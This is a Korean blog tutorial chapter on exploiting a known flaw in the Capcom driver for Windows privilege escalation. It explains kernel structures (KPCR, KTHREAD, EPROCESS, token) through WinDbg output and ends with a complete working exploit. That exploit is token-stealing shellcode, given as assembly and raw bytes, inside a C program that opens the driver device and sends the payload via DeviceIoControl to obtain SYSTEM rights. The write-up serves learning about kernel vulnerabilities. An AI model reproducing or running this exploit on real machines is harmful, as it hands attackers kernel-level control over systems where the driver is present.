[0x00] Overview
소개와 분석 챕터에서 드라이버를 제공 못한다고 하였습니다. 하지만 구글링은 모든 것을 제공합니다
이번 챕터에서는 분석 챕터에서 발견한 취약점을 이용하여 권한 상승이 가능한 부분을 설명하겠습니다. 이를 위해 선행학습이 필요한 부분은 커널의 프로세스 객체에 대한 이해입니다. 키워드는 EPROCESS
, ETHREAD
, KPCR
, KPRCB
KAPC
입니다.
[0x01] Get Token
Windows 에서는 프로세스 권한의 식별 값들이 존재합니다. 그 중 하나가 프로세스 토큰이며 해당 토큰에는 Privileges
라는 특권 레벨이 존재합니다. 이러한 식별 값을 이용하여 Local Privilege Escalation
이 가능합니다.
현재 Capcom 드라이버 취약점은 내가 원하는 코드를 버퍼에 담아 실행 가능합니다. 드라이버를 통해 커널모드에서 코드를 실행하기 때문에 자유롭고 강력합니다. 먼저 토큰을 탈취하기 위해 몇 가지 선행 학습이 필요합니다.
아래 선행학습에서는 일반적인 상황에서 디버거를 이용하여 프로세스의 토큰을 어떻게 알아낼 수 있는지를 설명하였습니다.(상세하고 섬세한? 내용을 담기 위해 중간 중간 약간의 설명들이 존재합니다.)
[-] KPCR
가장 기본이 되는 구조체 입니다. Kernel Processor Control Region
의 약자입니다. 해당 구조체는 gs:[0]
으로 접근이 가능하기 때문에 유니버셜한 코드 작성이 가능합니다. 아래는 해당 구조체 정보입니다.
0: kd> dt_KPCR
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : Ptr64 _KGDTENTRY64
+0x008 TssBase : Ptr64 _KTSS64
+0x010 UserRsp : Uint8B
+0x018 Self : Ptr64 _KPCR
+0x020 CurrentPrcb : Ptr64 _KPRCB
+0x028 LockArray : Ptr64 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : Ptr64 Void
+0x038 IdtBase : Ptr64 _KIDTENTRY64
+0x040 Unused : [2] Uint8B
+0x050 Irql : UChar
+0x051 SecondLevelCacheAssociativity : UChar
+0x052 ObsoleteNumber : UChar
+0x053 Fill0 : UChar
+0x054 Unused0 : [3] Uint4B
+0x060 MajorVersion : Uint2B
+0x062 MinorVersion : Uint2B
+0x064 StallScaleFactor : Uint4B
+0x068 Unused1 : [3] Ptr64 Void
+0x080 KernelReserved : [15] Uint4B
+0x0bc SecondLevelCacheSize : Uint4B
+0x0c0 HalReserved : [16] Uint4B
+0x100 Unused2 : Uint4B
+0x108 KdVersionBlock : Ptr64 Void
+0x110 Unused3 : Ptr64 Void
+0x118 PcrAlign1 : [24] Uint4B
+0x180 Prcb : _KPRCB
또한 디버거에서 !pcr
명령을 통해 현재 프로세서의 제어 영역 값을 획득할 수 있습니다. 또한 MSR(Model Specific Registers)
의 0xC0000101 위치에서 gs:[0]
값을 읽어올 수 있습니다. Intel Software Developer Manual
에서 Loading MSR
을 키워드로 찾아볼 수 있습니다. 아래는 인텔 공식 문서에 나와있는 내용입니다.
명령어로 확인한 내용입니다. 현재 프로세서의 제어 영역은 0xfffff800’510c0000 입니다. 사실 많은 내용을 전파하고 싶기 때문에 이 주소에 대해 설명하고 싶지만 다음의 링크로 대신하겠습니다.
0: kd> !pcr
KPCR for Processor 0 at fffff800510c0000:
Major 1 Minor 1
NtTib.ExceptionList: fffff80051f3dfb0
NtTib.StackBase: fffff80051f3c000
NtTib.StackLimit: 0000000000000000
NtTib.SubSystemTib: fffff800510c0000
NtTib.Version: 00000000510c0180
NtTib.UserPointer: fffff800510c0870
NtTib.SelfTib: 0000000000000000
SelfPcr: 0000000000000000
Prcb: fffff800510c0180
Irql: 0000000000000000
IRR: 0000000000000000
IDR: 0000000000000000
InterruptMode: 0000000000000000
IDT: 0000000000000000
GDT: 0000000000000000
TSS: 0000000000000000
CurrentThread: ffffb80fff284300
NextThread: 0000000000000000
IdleThread: fffff80055b8c400
DpcQueue: Unable to read nt!_KDPC_DATA.DpcListHead.Flink @ fffff800510c2f80
다음은 위에서 설명한 MSR
과 gs
레지스터로 접근한 내용입니다.
0: kd> rdmsr 0xc0000101
msr[c0000101] = fffff800`510c0000
0: kd> dg gs
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
002B fffff800`510c0000 00000000`ffffffff Data RW Ac 3 Bg Pg P Nl 00000cf3
마지막으로 KPCR
구조체 내용을 확인합니다.
0: kd> dt_KPCR fffff800`510c0000
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : 0xfffff800`51f3dfb0 _KGDTENTRY64
+0x008 TssBase : 0xfffff800`51f3c000 _KTSS64
+0x010 UserRsp : 0
+0x018 Self : 0xfffff800`510c0000 _KPCR
+0x020 CurrentPrcb : 0xfffff800`510c0180 _KPRCB
+0x028 LockArray : 0xfffff800`510c0870 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : (null)
+0x038 IdtBase : 0xfffff800`51f3b000 _KIDTENTRY64
+0x040 Unused : [2] 0
+0x050 Irql : 0 ''
+0x051 SecondLevelCacheAssociativity : 0xc ''
+0x052 ObsoleteNumber : 0 ''
+0x053 Fill0 : 0 ''
+0x054 Unused0 : [3] 0
+0x060 MajorVersion : 1
+0x062 MinorVersion : 1
+0x064 StallScaleFactor : 0xe10
+0x068 Unused1 : [3] (null)
+0x080 KernelReserved : [15] 0
+0x0bc SecondLevelCacheSize : 0xc00000
+0x0c0 HalReserved : [16] 0xd693a400
+0x100 Unused2 : 0
+0x108 KdVersionBlock : (null)
+0x110 Unused3 : (null)
+0x118 PcrAlign1 : [24] 0
+0x180 Prcb : _KPRCB
해당 KPCR
에서 중요한 부분은 바로 0x180 오프셋 위치에 KPRCB
구조를 가지고 있는 Prcb
라는 멤버가 존재한다는 점입니다. 다음으로 넘어가겠습니다.
[-] KPRCB
Kernel Processor Control Block
을 의미합니다. 해당 제어 블록에는 현재 스레드의 오브젝트에 대한 포인터가 포함되어 있습니다. 구조체 멤버는 아래와 같습니다.(매우 큰 구조체이기 때문에 뒷 부분은 제거하였습니다.)
0: kd> dt_KPRCB
nt!_KPRCB
+0x000 MxCsr : Uint4B
+0x004 LegacyNumber : UChar
+0x005 ReservedMustBeZero : UChar
+0x006 InterruptRequest : UChar
+0x007 IdleHalt : UChar
+0x008 CurrentThread : Ptr64 _KTHREAD
+0x010 NextThread : Ptr64 _KTHREAD
+0x018 IdleThread : Ptr64 _KTHREAD
+0x020 NestingLevel : UChar
+0x021 ClockOwner : UChar
+0x022 PendingTickFlags : UChar
+0x022 PendingTick : Pos 0, 1 Bit
+0x022 PendingBackupTick : Pos 1, 1 Bit
+0x023 IdleState : UChar
...
...
+0x8ec0 RequestMailbox : [1] _REQUEST_MAILBOX
해당 챕터에서 중요 멤버는 CurrentThread
멤버입니다. KTHREAD
구조체로 이루어져있습니다. KPCR
에서 현재 스레드의 포인터를 얻기 위해 다음과 같은 과정을 통해 획득할 수 있습니다.
KPCR(gs:[0]) + KPRCB(180h) + KTHREAD(8)
위에서 구한 KPCR
의 값은 0xfffff800’510c0000 입니다. 이를 기준으로 증명하면 아래와 같습니다.
0: kd> dt_KPRCB fffff800`510c0000+180 CurrentThread
nt!_KPRCB
+0x008 CurrentThread : 0xffffb80f`ff284300 _KTHREAD
즉 gs:[188h]
로 접근하면 CurrentThread
멤버에 접근이 가능한 것이 증명되었습니다.
[-] KTHREAD
위에서 구한 CurrentThread
멤버의 0xffffb80f’ff284300 값을 기준으로 설명하겠습니다. 아래는 KTHREAD
구조체입니다.
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x018 SListFaultAddress : Ptr64 Void
...
+0x098 ApcState : _KAPC_STATE
+0x098 ApcStateFill : [43] UChar
...
+0x5f8 AbWaitObject : Ptr64 Void
여기서 중요한 멤버는 KAPC_STATE
구조체로 이루어진 ApcState
멤버입니다.
아래는 실제 값에 대한 확인입니다. 여기서 또 한가지 팁은 스레드에 할당 된 스택을 확인이 가능합니다. 업무 중에 스레드에 할당된 스택 크기를 알아내야 하는 일이 있었으며 아래와 같이 KTHREAD
구조체에는 StackLimit
, StackBase
가 존재합니다. 유저모드에서는 이러한 정보를 얻기 위해 _NT_TIB
구조체를 이용할 수 있습니다.
0: kd> dt_KTHREAD 0xffffb80f`ff284300
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x018 SListFaultAddress : (null)
+0x020 QuantumTarget : 0x00000001`1cb648cd
+0x028 InitialStack : 0xfffff489`76807c10 Void
+0x030 StackLimit : 0xfffff489`76801000 Void
+0x038 StackBase : 0xfffff489`76808000 Void
...
+0x098 ApcState : _KAPC_STATE
...
+0x5f8 AbWaitObject : (null)
ApcState
멤버는 0x98만큼 오프셋에 존재합니다. 해당 값은 아래와 같습니다.
0: kd> dp 0xffffb80f`ff284300+98
ffffb80f`ff284398 ffffb80f`ff284398 ffffb80f`ff284398
ffffb80f`ff2843a8 ffffb80f`ff2843a8 ffffb80f`ff2843a8
ffffb80f`ff2843b8 ffffb80f`ff271380 00000000`1f000000
[-] KAPC_STATE
해당 구조체를 확인하면 왜 구조체 정보를 확인해야 하는지 알 수 있습니다.
0: kd> dt_KAPC_STATE
nt!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY
+0x020 Process : Ptr64 _KPROCESS
+0x028 InProgressFlags : UChar
+0x028 KernelApcInProgress : Pos 0, 1 Bit
+0x028 SpecialApcInProgress : Pos 1, 1 Bit
+0x029 KernelApcPending : UChar
+0x02a UserApcPendingAll : UChar
+0x02a SpecialUserApcPending : Pos 0, 1 Bit
+0x02a UserApcPending : Pos 1, 1 Bit
0x20 위치에 Process
멤버는 KPROCESS
구조체로 이루어져있습니다. 소프트웨어 분석가인 geoff chappell
의 페이지에서 살펴보면 KAPC_STATE
는 EPROCESS
구조체와 관련이 있으며 KTHREAD
의 일부분이라고 되어 있습니다. 현재까지 분석한 내용들과 일치하는 것을 알 수 있습니다.
현재 KTHREAD
의 값은 0xffffb80f’ff284300 이며 ApcState
멤버는 이로부터 0x98 떨어진 위치의 값으로 0xffffb80f’ff284398입니다.
0: kd> dt_KAPC_STATE 0xffffb80fff284398
nt!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY [ 0xffffb80f`ff284398 - 0xffffb80f`ff284398 ]
+0x020 Process : 0xffffb80f`ff271380 _KPROCESS
+0x028 InProgressFlags : 0 ''
+0x028 KernelApcInProgress : 0y0
+0x028 SpecialApcInProgress : 0y0
+0x029 KernelApcPending : 0 ''
+0x02a UserApcPendingAll : 0 ''
+0x02a SpecialUserApcPending : 0y0
+0x02a UserApcPending : 0y0
[-] EPROCESS
KAPC_STATE
에서 0x20만큼 오프셋의 멤버는 _KPROCESS Process
입니다. 현재 소제목을 EPROCESS
로 한 이유는 EPROCESS
가 KPROCESS
를 포함하기 때문도 있지만 우리의 목표인 토큰 멤버는 EPROCESS
에 존재하기 때문입니다.
간략하게 EPROCESS
구조체에 대해 확인해보겠습니다.
0: kd> dt_EPROCESS
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : Ptr64 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY
...
+0x360 Token : _EX_FAST_REF
...
+0x878 MmHotPatchContext : Ptr64 Void
위에서 말한 것과 같이 KPROCESS
구조체를 포함합니다. 또한 0x360 위치에 Token
멤버가 존재하는 것을 볼 수 있습니다. 이 때 구조체는 _EX_FAST_REF
구조로 이루어진 것을 확인할 수 있습니다.
0: kd> dt_EPROCESS 0xffffb80f`ff271380 token
nt!_EPROCESS
+0x360 Token : _EX_FAST_REF
0: kd> dx -id 0,0,ffffb80fff271380 -r1 (*((ntkrnlmp!_EX_FAST_REF *)0xffffb80fff2716e0))
(*((ntkrnlmp!_EX_FAST_REF *)0xffffb80fff2716e0)) [Type: _EX_FAST_REF]
[+0x000] Object : 0xffffe283a840739f [Type: void *]
[+0x000 ( 3: 0)] RefCnt : 0xf [Type: unsigned __int64]
[+0x000] Value : 0xffffe283a840739f [Type: unsigned __int64]
여기서 RefCnt
값을 빼면 토큰 값을 획득할 수 있습니다. 다음과 같은 공식으로 토큰 값을 확인할 수 있습니다.
0: kd> ? poi(ffffb80fff271380+360)&fffffffffffffff0
Evaluate expression: -32419885321328 = ffffe283`a8407390 <= Token Object
0: kd> !process ffffb80fff271380
PROCESS ffffb80fff271380
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001ad002 ObjectTable: ffffe283a8406580 HandleCount: 162.
Image: System
VadRoot ffffb80fff25bf10 Vads 5 Clone 0 Private 20. Modified 135. Locked 0.
DeviceMap ffffe283a8414180
Token ffffe283a8407390 <= Token Object
...
정확히 일치하는 것을 알 수 있습니다.
[-] Token
바로 확인해보겠습니다. _TOKEN
구조체에서 TokenSource
멤버와 Privileges
멤버의 값을 출력합니다.
0: kd> dt_TOKEN ffffe283a8407390
nt!_TOKEN
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x06207526`b64ceb90
+0x030 TokenLock : 0xffffb80f`ff2a27d0 _ERESOURCE
+0x038 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
...
+0x490 VariablePart : 0xffffe283`a8407870
0: kd> dx -id 0,0,ffffb80fff271380 -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffe283a84073d0))
(*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffe283a84073d0)) [Type: _SEP_TOKEN_PRIVILEGES]
[+0x000] Present : 0x1ff2ffffbc [Type: unsigned __int64]
[+0x008] Enabled : 0x1e60b1e890 [Type: unsigned __int64]
[+0x010] EnabledByDefault : 0x1e60b1e890 [Type: unsigned __int64]
0: kd> dx -id 0,0,ffffb80fff271380 -r1 (*((ntkrnlmp!_TOKEN_SOURCE *)0xffffe283a8407390))
(*((ntkrnlmp!_TOKEN_SOURCE *)0xffffe283a8407390)) [Type: _TOKEN_SOURCE]
[+0x000] SourceName : "*SYSTEM*" [Type: char [8]]
[+0x008] SourceIdentifier [Type: _LUID]
여기서 Privileges
멤버의 Present
값은 기억해두는 것이 좋습니다. 권한 상승 시 특권 레벨을 이용하는 경우가 많기 때문입니다.
여기까지 토큰을 얻는 과정을 진행하였습니다. 다음은 위의 내용을 코드로 만들고 토큰을 탈취하여 시스템 권한을 획득할 것입니다.
[0x02] Exploit
위의 내용들을 구현하기 위해 아래와 같은 코드를 작성하였습니다.
.code
Backup_Register proc
PUSH RCX
PUSH RDX
PUSH R8
PUSH R9
PUSH RDI
Backup_Register endp
GetStruct proc
MOV RCX, gs:[188h] ; Get KTHREAD Pointer
MOV RDX, [RCX+0B8h] ; Get EPROCESS Pointer(ApcState+20)
MOV R8, [RDX+2F0h] ; Get ActiveProcessLinks
MOV RDI, [RDX+3E8h] ; Get InheritedFromUniqueProcessId
MOV RCX, [R8]
GetStruct endp
FindProcess proc
MOV RDX, [RCX-8] ; Get UniqueProcessId
CMP RDX, 4 ; Compare "System" Process id
JZ GetToken
MOV RCX, [RCX]
JMP FindProcess
FindProcess endp
GetToken proc
MOV RAX, [RCX+70h] ; Get Token Object
AND al, 0f0h
GetToken endp
Find_Cmd proc
MOV RCX, [RCX] ; Find My Process
MOV RDX, [RCX-8]
CMP RDX, RDI
JNE Find_Cmd
Find_Cmd endp
CopyToken proc
MOV [RCX+70h], RAX ; Copy token
CopyToken endp
Restore proc
POP RDI
POP R9
POP R8
POP RDX
POP RCX
RET
Restore endp
end
주석에 대부분의 설명을 작성하였습니다. InheritedFromUniqueProcessId
는 이름 그대로 부모 프로세스를 의미합니다. 이는 처음 구하는 프로세스 객체가 작성한 프로세스이기 때문입니다. 콘솔을 통해 실행되기 때문에 해당 프로세스의 부모 프로세스가 cmd
프로세스이기 때문에 미리 백업을 해둔 후 비교하는 작업을 진행합니다.
전체 소스코드는 아래와 같습니다.
#include <stdio.h>
#include <Windows.h>
int main()
{
BYTE ShellCode[] = {
0x51,
0x52,
0x41,0x50,
0x41,0x51,
0x57,
0x65,0x48,0x8B,0x0C,0x25,0x88,0x01,0x00,0x00,
0x48,0x8B,0x91,0xB8,0x00,0x00,0x00,
0x4C,0x8B,0x82,0xF0,0x02,0x00,0x00,
0x48,0x8B,0xBA,0xE8,0x03,0x00,0x00,
0x49,0x8B,0x08,
0x48,0x8B,0x51,0xF8,
0x48,0x83,0xFA,0x04,
0x74,0x05,
0x48,0x8B,0x09,
0xEB,0xF1,
0x48,0x8B,0x41,0x70,
0x24,0xF0,
0x48,0x8B,0x09,
0x48,0x8B,0x51,0xF8,
0x48,0x3B,0xD7,
0x75,0xF4,
0x48,0x89,0x41,0x70,
0x5F,
0x41,0x59,
0x41,0x58,
0x5A,
0x59,
0xC3
};
/*
.code
Backup_Register proc
PUSH RCX
PUSH RDX
PUSH R8
PUSH R9
PUSH RDI
Backup_Register endp
GetStruct proc
MOV RCX, gs:[188h]
MOV RDX, [RCX+0B8h]
MOV R8, [RDX+2F0h]
MOV RDI, [RDX+3E8h]
MOV RCX, [R8]
GetStruct endp
FindProcess proc
MOV RDX, [RCX-8]
CMP RDX, 4
JZ GetToken
MOV RCX, [RCX]
JMP FindProcess
FindProcess endp
GetToken proc
MOV RAX, [RCX+70h]
AND al, 0f0h
GetToken endp
Find_Cmd proc
MOV RCX, [RCX]
MOV RDX, [RCX-8]
CMP RDX, RDI
JNE Find_Cmd
Find_Cmd endp
CopyToken proc
MOV [RCX+70h], RAX
CopyToken endp
Restore proc
POP RDI
POP R9
POP R8
POP RDX
POP RCX
RET
Restore endp
end
*/
const wchar_t* deviceName = L"\\\\.\\Htsysm72FB";
const DWORD dwIoCtlCode = 0xAA013044;
HANDLE driver = CreateFile(deviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (driver == INVALID_HANDLE_VALUE)
{
fprintf(stderr, "[!} Unable to access device driver\n");
}
else {
PBYTE inBuffer = (PBYTE)VirtualAlloc(0, 100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
DWORD bytesReturned = 0;
DWORD ioctlOutput = 0;
*(PULONG_PTR)inBuffer = (ULONG_PTR)(inBuffer + 8);
memcpy(inBuffer + 8, ShellCode, 85);
ULONG_PTR target = (ULONG_PTR)(inBuffer + 8);
fprintf(stdout, "[+] Exploit Start\n");
if (DeviceIoControl(driver, dwIoCtlCode, &target, 8, &ioctlOutput, 4, &bytesReturned, NULL))
{
fprintf(stdout, "[+] Call DeviceIoControl\n");
}
else {
fprintf(stderr, "[!] DeviceIoControl Failed\n");
system("pause");
}
CloseHandle(driver);
}
}
해당 소스를 컴파일 후 관리자 권한으로 실행해야 합니다. 그렇지 않으면 BSOD가 발생합니다. 할당된 메모리에 IRQL
으로 인한 에러입니다.
아래 영상은 블로그 개편 전에 업로드한 영상입니다. 1809 버전이므로 구조체 사이즈 차이가 존재합니다.
[0x03] Conclusion
처음 분석했던 취약점이기 때문에 애정이 깊습니다. 처음 커널 드라이버의 취약점을 분석하기 아주 좋은 레퍼런스라고 생각합니다. 긴 글 읽어주셔서 감사합니다.